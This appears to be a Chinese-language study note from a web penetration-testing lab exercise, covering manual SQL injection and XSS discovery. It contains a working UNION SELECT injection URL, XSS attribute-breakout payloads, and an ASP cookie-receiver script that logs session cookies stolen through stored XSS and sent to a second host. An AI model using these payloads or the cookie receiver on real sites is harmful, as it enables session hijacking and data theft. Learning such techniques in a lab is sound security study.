测SQL注入:
列出所有提交到服务器的参数
位置分别有
- url
- 请求主体
- http头部
手工测试:
- 单引号测试
and测试
order by 猜字段数
order by原理?union select爆数据库信息
union select原理?
http://192.168.100.48:88/admin/admin_update.php?id=1 and 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9,10
测XSS:
反射型xss
sql的注入点也可以是xss的注入点,即同参数。
本质是:未充分过滤的参数
存储型xss
一般出现在留言板或者新建任务,发布公告的地方。
打cookie
cookie接受地址
http://192.168.100.83/cookie.asp
cookie.asp
<html>
<title>xx</title>
<body>
<%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%>
</body>
</html>
攻击代码:
拿到cookie
用户进入到有存储型xss的页面的时候,cookie就会自动发送到你服务器上的cookie.asp
问题:
- 面对一个网站,有那么多页面和参数,该从何下手?
- 渗透思路是?
tips:
经验还是不够,对于一些原理的认识还是局限于原来的那几个例子,有点受到定向思维的干扰。
手工xss挖掘时候,思路还是很混乱。
比较清晰的思路应该是
- 输入fuzz字段
- 找到输出的位置
- 看看在基于输出的环境,能否构造xss
有一个很关键的地方就是能不能闭合<>,或者其目的就是在一个闭合的环境下输出自己js代码
<input name=keyword value='input'>
payload=’> <script>alert(/xss/)</script>
完整语句:<input name=keyword value='’> <script>alert(/xss/)</script>'>
如果用不了尖括号,可以用单引号或双引号闭合
payload= ' oninput=alert
1//'
完整语句:<input name=keyword value='' oninput=alert
1//''>
感想:
算是做了一个比较完整的练习,一个基于phpmywind源码搭建的网站。
以上的点,基本上都有了个印象。
sql注入、xss手工挖掘的测试思路慢慢熟练。
知识点:
中间件:
- Apache
- iis
- phpmyadmin
- weblogic
web服务组件
横向的层,纵向就是数据流